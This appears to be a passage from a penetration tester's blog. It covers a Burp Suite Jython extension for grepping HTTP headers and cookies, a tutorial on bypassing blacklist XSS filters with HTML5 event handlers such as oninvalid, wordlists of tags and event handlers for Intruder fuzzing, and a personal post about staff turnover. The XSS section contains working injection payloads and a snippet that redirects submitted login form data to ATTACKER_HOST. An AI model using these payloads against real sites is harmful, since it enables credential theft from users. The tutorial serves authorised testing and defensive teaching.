      self.callbacks = callbacks
      self.helpers = callbacks.getHelpers()
      self.callbacks.setExtensionName("Grep Extractor")
      self.callbacks.registerContextMenuFactory(self)
      return

   def createMenuItems(self, invocation):
      menu_list = []
      menu_list.append(JMenuItem("Grep Extractor", None, actionPerformed= lambda x, inv=invocation:self.startThreaded(self.grep_extract,inv)))
      return menu_list

   def startThreaded(self, func, *args):
      th = threading.Thread(target=func,args=args)
      th.start()

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            res = traffic.getResponse().tostring()

            # start is the string immediately before the bit you want to extract
            # end is the string immediately after the bit you want to extract
            start = "" 
            end   = ""

            # example parsing response. Change res to req if data is in request.

            i = 0
            for line in res.split('\n'):
               if start in line:
                  # extract the string
                  extracted = line[line.find(start)+len(start):]
                  extracted  = extracted [0:extracted .find(end)]
                  # print exracted string, visible in Burp
                  
                  print extracted 

Nothing too scary in there and the comments should help you out. Lets give one simple example of how to use it. Lets say the site you are targeting has the “X-Powered-By” header. Was that consistent across all responses or did it alter at any point? Perhaps some folder is redirecting to a different backend system and you didn’t notice.

Modify the start and end strings as shown below:


start = "X-Powered-By:" 
end   = "\n"

Any data between “X-Powered-By:” and the next newline character will be printed out. Save your code and then reload the Extender within Burp. At this point you can right click on one or more entries in the proxy history and send to Grep Extractor via the option shown below:

04-send-to-grep-extractor

Any “print” commands issued from the Extender will goto the output for the extender. This is visible on the following menu:

Extender -> Select “Grep Extractor” -> Select “Output” tab.

The following shows output from the proxy history with our target:

05-scraping-x-powered-by

It looks like the target site is consistent with it’s “X-Powered-By” headers. Well we struck out there but hopefully you can see the benefits of getting dirty and dipping your toes in the ocean of Burp Extenders. With relatively little coding knowledge you can get powerful results from Grep Extractor.

Example X-CSRF-Token

This example shows how to markup each request which did NOT include the HTTP header “X-CSRF-Token”:

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
			
            if req.find("X-CSRF-Token:")== -1:
                traffic.setComment("Request without X-CSRF-Token header")
                traffic.setHighlight("pink")

This uses the “setComment” and “setHighlight” methods as documented at the following URL:

https://portswigger.net/burp/extender/api/burp/IHttpRequestResponse.html

Instead of logging information to the stdout this will update all requests within proxy visibly with a pink background and a useful comment. This does not alter any pre-existing highlights or comments (at least when I tested it).

By reviewing the proxy history I discovered the token was consistently set for everything apart from the login form. There was no impact but it helped me get to this answer quickly.

Example Set-Cookie

This example shows how to print out every “Set-Cookie” directive in the selected responses:

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            res = traffic.getResponse().tostring()

            start = "Set-Cookie:"
            end = "\n"

            for line in res.split("\n"):
               if line.find(start) !=-1:
                  line = line.strip()
                  print line

I needed to do this when conducting a re-test of an application which had certain cookies set without “httpOnly” and others without “secure” flags. By printing the full “Set-Cookie” directive I even visually caught a few anomalies where rare cases resulted in “secure; secure;”. Most likely the result of the framework and then reverse proxy ensuring the flag was set. It only affected one folder.

Vulnerable Test Site

The data shown in the proxy logs all comes from browsing the vulnerable website from Acunetix available below:

http://testphp.vulnweb.com/

This was just to populate my Burp history with a few requests and responses.

Hope that helps,
Cornerpirate

XSS using HTML 5 Event Handlers

I recently had some luck using HTML 5 event handlers to exploit XSS. This post includes some of the outcomes and a bit of how to replicate the steps using Burp Suite’s Intruder using some wordlists stuck at the end of this post.

The target had attempted to use blacklisting to prevent dangerous tags and event handler combinations. So things like “onload” and “onerror” were rejected when they were within the context of an HTML tags. So you would see this behaviour:

Probe Response
onerror String on own is not a threat. Filter allows it
<img src=x onerror=”alert(1);”/> String is inside a tag. Filter blocks it

Crucially the target was doing nothing to block or encode individual characters so we had the full range listed below:

  • <
  • >
  • =
  • ;
  • white-space

Not encoding these characters pretty much guarantees XSS will be exploitable.

Relying on a pure blacklist approach is a poor defence which is why it was bypassed with a bit of elbow grease.

Injecting when angle brackets are possible

If your target allows angle brackets you can create a new HTML tag and then use my new friend the HTML 5 “oninvalid” event handler as shown below:

"><input style="visibility: hidden" oninvalid="alert(1)" required><a="

This is interesting because:

  1. It introduces a new input tag.
  2. By setting the id to “a” we can use getElementById(“a”) in payloads (see next section)
  3. Then it makes that invisible using the style attribute.
  4. It uses my new buddy “oninvalid” to contain the JavaScript to execute.
  5. Ending with “required” which means when a form is submitted if this field is empty the event handler will trigger.

The “oninvalid” event handler is enabled in all modern web browsers so this has a nice cross browser support.

Payloads with user interaction are usually not so good.  While other event handlers like “oncontextmenu” worked, the user would have to right click on the injected area. Even after making something cover the whole page why would they right click? This is why I really like “oninvalid” because it is natural to actually submit a web form when the user is presented with one. Particularly considering the fact I was injecting into a Login page.

Example Payload to snoop on a form

I created a payload which would redirect form data to an attacker’s HTTP server. For readability this has been split into three lines as shown below:

document.getElementById("a").value="a";
document.forms[0].action="https://ATTACKER_HOST/";
document.forms[0].method="GET";

First it alters the value of our injected parameter so that the form will then submit.

Then it alters the action to our web server. To avoid mixed content warnings it is most likely that you will need to start an HTTPS listener. If yours has a valid certificate then all the better.

Finally it changes the method to GET so the form details are now in a URL for the server logs. This is not strictly necessary as you could create a route to log details over HTTP POST. As I am not actually a bad guy my PoC is enough at this point.

Injecting when angle brackets are NOT possible

If the target denies angled brackets you cannot create a new input tag. If your probes land inside an “<input>” tag (as mine actually did) I was able to refine the exploit. Our friend “oninvalid” can use regular expressions to validate input specified by a “pattern”. You can make that pattern always fail to then intercept form data.

The following shows the probe which would work for that:

" oninvalid="alert(1)" pattern=".{6,}"

So long as the user input does not match the pattern your alert message will popup when the form is displayed.

Mileage varies with this one. I was injecting into an input of type “hidden” which did not honour the oninvalid (for good reason). But when the type is “text” it worked. All of this tested in Firefox only.

Enumerating the Defences

As I cannot disclose what I was probing in this case, lets say that the vulnerable parameter was called “xssparam”. So I was injecting into something like this:

https://target/login.php?xssparam=<INJECT_HERE>

When I set the value of “xssparam” the application did one of two things:

  1. IF the value included a blocked term (i.e. “onerror”) then the entire parameter was rejected. The response page did not include any part of the “xssparam” value.
  2. IF the value included no blocked terms then the entire contents of “xssparam” was returned in the HTML response page.

This means that the target was blocking unsafe input. This is a better approach than trying to sanitise input (strip the bad stuff, and return ‘safe’ data) which usually just adds in more headaches. So that is something at least.

The problem with pure blacklists is simply an arms race against the filter where you try to locate HTML tags and event handlers which are not blocked. The next section explains how to use Burp’s Intruder to do this.

Using Intruder to Locate Weaknesses

Having enumerated the defences my favourite approach in this case is to use Burp’s intruder to find tags and probes which are allowed. To do this you would follow this process:

  1. Send the baseline request to intruder.
  2. Find the location of the injection point and mark it up.
    1. In this case login.php?xssparam=XSS1%20<INJECT_HERE>%20XSS2
    2. By using “XSS1” and “XSS2” we have an easy way to find our probes in the HTTP response.
  3. Create a txt file of probes to try. In this case I have used a list of HTML tag names and HTML event handlers which are provided at the end of this post.
  4. Load those probes
  5. Configure a “grep extract” to locate the probe in the response and extract it as shown below:

grep-extract

When you run the intruder process your grep extract will list words which are not blocked by the filter:

list-of-available-event-handlers

In this case my process found that all HTML 5 event handlers worked in a raw probe. While the list of HTML tags was limited (but not shown). The final probe listed at the start of this was generated after discovering that the “input” tag and “oninvalid” were permitted past the filter. Hey, nobody said it was a GOOD filter!

Hopefully you now know how to use Burp’s Intruder to go manually hunting for XSS. Which is the point of this post.

List of HTML 5 Tags

This list was taken from the list here:

https://www.w3schools.com/tags/default.asp

For ease you can copy, paste and save this:

a
abbr
acronym
address
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
big
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1 to h6
head
header
hr
html
i
iframe
img
input
ins
kbd
label
legend
li
link
main
map
mark
meta
meter
nav
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
pre
progress
q
rp
rt
ruby
s
samp
script
section
select
small
source
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr

List of HTML 5 Event Handlers

This list was taken from the list here:

https://www.quackit.com/html_5/tags/html_h3_tag.cfm

For ease you can copy, paste and save this:

onabort
oncancel
onblur
oncanplay
oncanplaythrough
onchange
onclick
oncontextmenu
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformchange
onforminput
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreadystatechange
onscroll
onseeked
onseeking
onselect
onshow
onstalled
onsubmit
onsuspend
ontimeupdate
onvolumechange
onwaiting

Exit Interview

I failed upwards into management a few years ago. This means that I effectively opened an office for my employer and was responsible for finding, evaluating, recruiting, onboarding and generally looking after a team in Glasgow. This has been a privilege and for the most part the last two years has been a riot.

We build a pretty tight ship of overlapping skills with enough diversity in our thoughts to make things entertaining. It is to be expected that folks who join the crew set sail themselves to explore new shores someday. That doesn’t make it any easier when you effectively think of them as friends first.

Today is the last day for one of the original deck hands who is leaving for the best of reasons. What I know is that they are properly prepared for whatever is coming both personally and professionally. They will rock it out somewhere else.

I am learning there is a difference between intellectually knowing that there will be staff turnover, and experiencing it first hand a few times. Nobody said management was ever fun.

Reckon I am a bit like a parent waving their kid off to Uni and knowing that it is actually a good thing for them.

We will miss the enthusiasm and abilities day-to-day. But forever I will be up in your life so don’t you worry about that.